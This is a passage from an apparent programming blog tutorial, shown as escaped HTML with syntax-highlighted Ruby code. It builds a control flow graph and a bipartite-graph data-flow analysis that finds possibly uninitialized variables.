&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        low &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; byte &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;byte
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        list&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;push b &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; low&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;bit_length &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        byte &lt;span style=&#34;color:#f92672&#34;&gt;^=&lt;/span&gt; low
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    list
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Let&amp;rsquo;s add a second rule for &lt;code&gt;a = input;&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# graph for `a = input`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;line2 &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;Bipartite&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;new(&lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;line2&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;set(&lt;span style=&#34;color:#66d9ef&#34;&gt;STAR&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;STAR&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;line2&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;set(B, B)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;line2&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;set(C, C)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the above rule, just as in the visualization above, we connect the uninitialized nodes, then we connect &lt;code&gt;b&lt;/code&gt; to itself and &lt;code&gt;c&lt;/code&gt; to itself.
These &amp;ldquo;self&amp;rdquo; connections mean &amp;ldquo;whatever value was in &lt;code&gt;b&lt;/code&gt; as input, we&amp;rsquo;re going to pass that along as output&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;Now we can use the &lt;code&gt;apply&lt;/code&gt; method and chain the two graphs together:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p line1&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;apply(&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;STAR&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;)               &lt;span style=&#34;color:#75715e&#34;&gt;# =&amp;gt; [0, 1, 2, 3]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p line2&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;apply(line1&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;apply(&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;STAR&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;))  &lt;span style=&#34;color:#75715e&#34;&gt;# =&amp;gt; [0, 2, 3]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;At the start of the program nothing has been declared yet, so the only fact is &amp;ldquo;uninitialized&amp;rdquo; itself (&lt;code&gt;STAR&lt;/code&gt;).
If we apply that to the first line, we see that all of the variables are &amp;ldquo;possibly uninitialized&amp;rdquo; (as expected).
We can take &lt;em&gt;the output&lt;/em&gt; of the application and feed it as &lt;em&gt;the input&lt;/em&gt; to the next graph, and we see that the uninitialized variables are 2 and 3 (or &lt;code&gt;b&lt;/code&gt;, and &lt;code&gt;c&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Now all we need to do is define the rules for each line of code and apply them, and we&amp;rsquo;ll be able to calculate which variables are possibly uninitialized!&lt;/p&gt;
&lt;h2 id=&#34;defining-rules-for-our-program&#34;&gt;Defining rules for our program&lt;/h2&gt;
&lt;p&gt;Next we&amp;rsquo;re going to create a class that lets us record rules for each part of the program.
The example code we wrote above works well for straight-line code since we can just apply the data flow rules from each line to the previous line.
But the example program we have contains control flow and we&amp;rsquo;ll need a way to model the &amp;ldquo;dotted line&amp;rdquo; from the visualization above.&lt;/p&gt;
&lt;p&gt;To do that, we&amp;rsquo;re going to construct a simple control flow graph.
A control flow graph (or CFG), is constructed from &amp;ldquo;basic blocks&amp;rdquo; where each block contains &amp;ldquo;straight line code&amp;rdquo; and ends in either a jump or a return.
Each block has up to two outgoing edges, and those edges connect to possible jump targets.&lt;/p&gt;
&lt;p&gt;There are other ways to define a basic block, but this is my blog, so my rules!&lt;/p&gt;
&lt;p&gt;First we&amp;rsquo;ll define a &lt;code&gt;Block&lt;/code&gt; class and a &lt;code&gt;Line&lt;/code&gt; class.
The &lt;code&gt;Line&lt;/code&gt; class just holds on to the source line (a string for printing), and a graph representing the rules at that line.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;Block&lt;/code&gt; class holds the list of &lt;code&gt;Line&lt;/code&gt; objects that make up the block.
It also contains a list of successors (jump targets) as well as predecessors (basic blocks whose jump target is the current block):&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Line&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;attr_reader&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;:source&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;:graph&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;initialize&lt;/span&gt; source, graph
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    @source &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; source
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    @graph &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; graph
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Block&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;attr_reader&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;:code&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;:succ&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;:preds&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;initialize&lt;/span&gt; code
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    @code &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; code
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    @succ &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    @preds &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Next we&amp;rsquo;ll define a &lt;code&gt;Program&lt;/code&gt; class that has a bunch of helper methods that let us construct a CFG along with a graph for each line.
I&amp;rsquo;m not going to explain all of the lines of the &lt;code&gt;Program&lt;/code&gt; class because I think &lt;em&gt;using&lt;/em&gt; the class is a better way to explain it.
However, the full source is below.&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;Show the &lt;code&gt;Program&lt;/code&gt; class&lt;/summary&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Program&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;attr_reader&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;:root&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;initialize&lt;/span&gt; vars
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    @vars &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;:*&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; vars
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    @index &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; @vars&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;each_with_index&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;to_h &lt;span style=&#34;color:#75715e&#34;&gt;# name =&amp;gt; bit&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    @root &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;Block&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;new(&lt;span style=&#34;color:#f92672&#34;&gt;[]&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    @current &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; @root
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    @depth &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;po&lt;/span&gt;; po_traversal(root, &lt;span style=&#34;color:#66d9ef&#34;&gt;Set&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;new, &lt;span style=&#34;color:#f92672&#34;&gt;[]&lt;/span&gt;); &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;rpo&lt;/span&gt;; po&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;reverse; &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;po_traversal&lt;/span&gt; block, visited, post_order
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; post_order &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; visited&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;include?(block)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    visited&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;add(block)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    block&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;succ&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;each &lt;span style=&#34;color:#66d9ef&#34;&gt;do&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt;successor&lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      po_traversal(successor, visited, post_order)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    post_order &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; block
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    post_order
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;# Return a list of effects where each variable just transfers whatever&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;# was there.  A type of &amp;#34;identity&amp;#34; effect&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;identity&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    @vars&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;map { &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt;v&lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;v, v&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;# Record the effects for a statement in code&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;record&lt;/span&gt; code, effects
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    @current&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;code &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;Line&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;new(code&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;empty? ? code : &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;  &amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; @depth &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; code, graph(effects))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;# Record an if statement: the test, then a block for each arm, and a&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;# join block where the arms meet. With no else, the test jumps&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;# straight to the join.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;record_if&lt;/span&gt; code, effects, truthy, falsy &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;nil&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    record &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;#{&lt;/span&gt;code&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt; {&amp;#34;&lt;/span&gt;, effects
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    current, join &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; @current, &lt;span style=&#34;color:#66d9ef&#34;&gt;Block&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;new(&lt;span style=&#34;color:#f92672&#34;&gt;[]&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    t &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; arm(join, truthy)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    f &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; falsy ? arm(join, falsy, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;} else {&amp;#34;&lt;/span&gt;) : join
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    current&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;succ&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;push f, t &lt;span style=&#34;color:#75715e&#34;&gt;# falsy first, so rpo visits truthy first&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    @current &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; join
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    record &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;}&amp;#34;&lt;/span&gt;, identity
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;# Walk the CFG and assign predecessors&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;finish&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    w &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; rpo
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    w&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;each { &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt;b&lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; b&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;succ&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;each { &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt;c&lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; c&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;preds &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; b } }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    w
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;# The fact for the &amp;#34;start&amp;#34; block. It&amp;#39;s the index of the uninitialized variable &amp;#34;*&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;start&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;# Map name indexes back to human readable names&lt;/span&gt;
